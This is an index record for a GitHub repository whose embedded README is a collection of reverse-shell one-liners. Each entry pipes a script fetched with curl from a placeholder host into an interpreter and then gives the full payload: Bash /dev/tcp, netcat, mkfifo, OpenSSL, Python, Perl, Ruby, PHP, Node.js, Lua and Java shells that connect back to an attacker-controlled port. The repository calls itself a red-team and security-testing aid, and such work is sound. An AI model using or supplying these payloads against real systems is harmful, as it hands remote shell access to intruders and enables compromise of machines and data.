{"id":15099152,"url":"https://github.com/blue0x1/awesome-curl-reverseshell-oneliners","last_synced_at":"2026-01-06T20:44:13.556Z","repository":{"id":251999435,"uuid":"839091175","full_name":"blue0x1/awesome-curl-reverseshell-oneliners","owner":"blue0x1","description":"Collection of efficient curl one-liners for executing reverse shells, ideal for development and security testing.","archived":false,"fork":false,"pushed_at":"2024-08-09T23:43:18.000Z","size":11,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-18T22:01:50.596Z","etag":null,"topics":["awesome-list","curl","hacking","oneliners","redteam","redteaming","reverse-shell"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/blue0x1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-07T00:33:58.000Z","updated_at":"2024-08-16T13:14:31.000Z","dependencies_parsed_at":"2024-09-30T22:01:59.416Z","dependency_job_id":"c76f64d4-1ff5-46c4-b7be-cddf02ae1751","html_url":"https://github.com/blue0x1/awesome-curl-reverseshell-oneliners","commit_stats":{"total_commits":5,"total_committers":1,"mean_commits":5.0,"dds":0.0,"last_synced_commit":"e96b620a5135805fae602bd5640ac2e70289a095"},"previous_names":["blue0x1/awesome-curl-oneliners"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/blue0x1%2Fawesome-curl-reverseshell-oneliners","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/blue0x1%2Fawesome-curl-reverseshell-oneliners/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/blue0x1%2Fawesome-curl-reverseshell-oneliners/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/blue0x1%2Fawesome-curl-reverseshell-oneliners/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/blue0x1","download_url":"https://codeload.github.com/blue0x1/awesome-curl-reverseshell-oneliners/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245401331,"owners_count":20609166,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["awesome-list","curl","hacking","oneliners","redteam","redteaming","reverse-shell"],"created_at":"2024-09-25T17:06:28.341Z","updated_at":"2026-01-06T20:44:13.530Z","avatar_url":"https://github.com/blue0x1.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003ch1 align=\"center\"\u003e\u003cb\u003eAwesome Curl Reverse Shell Oneliners\u003c/b\u003e\u003c/h1\u003e\n\n![image](https://github.com/user-attachments/assets/4e9e721d-5d9e-4e55-bcf2-6bde75d9b3d8)\n\n\n\n\u003cbr\u003e\n\u003cbr\u003e\n\nBash Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell.sh | bash\n\n```\n\nshell.sh:\n\n```bash\n\n#!/bin/bash\nbash -i \u003e\u0026 /dev/tcp/127.0.0.1/1234 0\u003e\u00261\n\n```\n\nBash Reverse Shell using mkfifo\n\n```bash\n\ncurl -s http://example.com/shell_fifo.sh | bash\n\n```\n\nshell_fifo.sh:\n\n```bash\n\n#!/bin/bash\nrm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2\u003e\u00261 | nc 127.0.0.1 1234 \u003e /tmp/f\n\n```\n\nPython 2 Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell_py2.py | python\n\n```\n\nshell_py2.py:\n\n```bash\n\nimport socket, subprocess, os\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"127.0.0.1\", 1234))\nos.dup2(s.fileno(), 0)\nos.dup2(s.fileno(), 1)\nos.dup2(s.fileno(), 2)\nsubprocess.call([\"/bin/sh\", \"-i\"])\n\n```\n\nPython 3 Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell_py3.py | python3\n\n```\n\nshell_py3.py:\n\n```bash\n\nimport socket, subprocess, os\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"127.0.0.1\", 1234))\nos.dup2(s.fileno(), 0)\nos.dup2(s.fileno(), 1)\nos.dup2(s.fileno(), 2)\nsubprocess.call([\"/bin/sh\", \"-i\"])\n\n```\n\nPerl Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell.pl | perl\n\n```\n\nshell.pl:\n\n```bash\n\n#!/usr/bin/perl\nuse Socket;\n$i=\"127.0.0.1\";\n$p=1234;\nsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));\nif(connect(S,sockaddr_in($p,inet_aton($i)))){\n  open(STDIN,\"\u003e\u0026S\");\n  open(STDOUT,\"\u003e\u0026S\");\n  open(STDERR,\"\u003e\u0026S\");\n  exec(\"/bin/sh -i\");\n};\n\n\n```\n\nRuby Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell.rb | ruby\n\n```\n\nshell.rb:\n\n```bash\n\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'open3'\n\ndef exec_cmd(cmd)\n  Open3.popen2e(cmd) do |stdin, stdout_and_stderr, wait_thr|\n    stdout_and_stderr.each do |line|\n      yield line\n    end\n  end\nend\n\ns = TCPSocket.open(\"127.0.0.1\", 1234)\n\nwhile (line = s.gets)\n  exec_cmd(line.chomp) do |output|\n    s.puts output\n  end\nend\n\n```\n\nPHP Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell.php | php\n\n```\n\nshell.php:\n\n```bash\n\n\u003c?php\n$ip = '127.0.0.1';\n$port = 1234;\n$sock = fsockopen($ip, $port);\n$proc = proc_open('/bin/sh', array(0 =\u003e $sock, 1 =\u003e $sock, 2 =\u003e $sock), $pipes);\n?\u003e\n\n```\n\nNetcat Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell_nc.sh | bash\n\n```\n\nshell_nc.sh:\n\n```bash\n\n#!/bin/bash\nnc -e /bin/sh 127.0.0.1 1234\n\n```\n\nOpenSSL Reverse Shell\n\n```bash\n\ncurl -s http://example.com/shell_openssl.sh | bash\n\n```\n\nshell_openssl.sh:\n\n```bash\n\n#!/bin/bash\nmkfifo /tmp/ssl; openssl s_client -quiet -connect 127.0.0.1:1234 \u003c /tmp/ssl | /bin/sh \u003e /tmp/ssl 2\u003e\u00261; rm /tmp/ssl\n\n```\nNode.js Reverse Shell\n\n\n```bash\ncurl -s http://example.com/shell.js | node\n\n\n\n```\n\nshell.js:\n\n```bash\n\n(() =\u003e {\n    const net = require(\"net\"),\n        cp = require(\"child_process\"),\n        sh = cp.spawn(\"/bin/sh\", []);\n    const client = new net.Socket();\n    client.connect(1234, \"127.0.0.1\", () =\u003e {\n        client.pipe(sh.stdin);\n        sh.stdout.pipe(client);\n        sh.stderr.pipe(client);\n    });\n    return /a/; // Prevents the node script from crashing\n})();\n\n```\nLua Reverse Shell\n\n \n```bash\ncurl -s http://example.com/shell.lua | lua\n```\nshell.lua:\n\n \n```bash\nlocal host, port = \"127.0.0.1\", 1234\nlocal socket = require(\"socket\")\nlocal tcp = socket.tcp()\ntcp:connect(host, port)\nwhile true do\n  local cmd = tcp:receive()\n  local handle = io.popen(cmd)\n  local result = handle:read(\"*a\")\n  handle:close()\n  tcp:send(result)\nend\n```\n\nJava reverse shell\n\n```bash\ncurl -s -o shell.java http://localhost/shell.java \u0026\u0026 javac shell.java | java shell\n```\n\nshell.java:\n\n```bash\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n    public static void main(String[] args) {\n        try {\n            Socket s = new Socket(\"127.0.0.1\", 1234);\n            InputStream in = s.getInputStream();\n            OutputStream out = s.getOutputStream();\n            Process p = new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start();\n            InputStream pin = p.getInputStream();\n            OutputStream pout = p.getOutputStream();\n            while (!s.isClosed()) {\n                while (in.available() \u003e 0) pout.write(in.read());\n                while (pin.available() \u003e 0) out.write(pin.read());\n                out.flush();\n                pout.flush();\n                try {\n                    p.exitValue();\n                    break;\n                } catch (Exception e) {\n                    // Process not finished yet\n                }\n            }\n            p.destroy();\n            s.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblue0x1%2Fawesome-curl-reverseshell-oneliners","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fblue0x1%2Fawesome-curl-reverseshell-oneliners","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblue0x1%2Fawesome-curl-reverseshell-oneliners/lists"}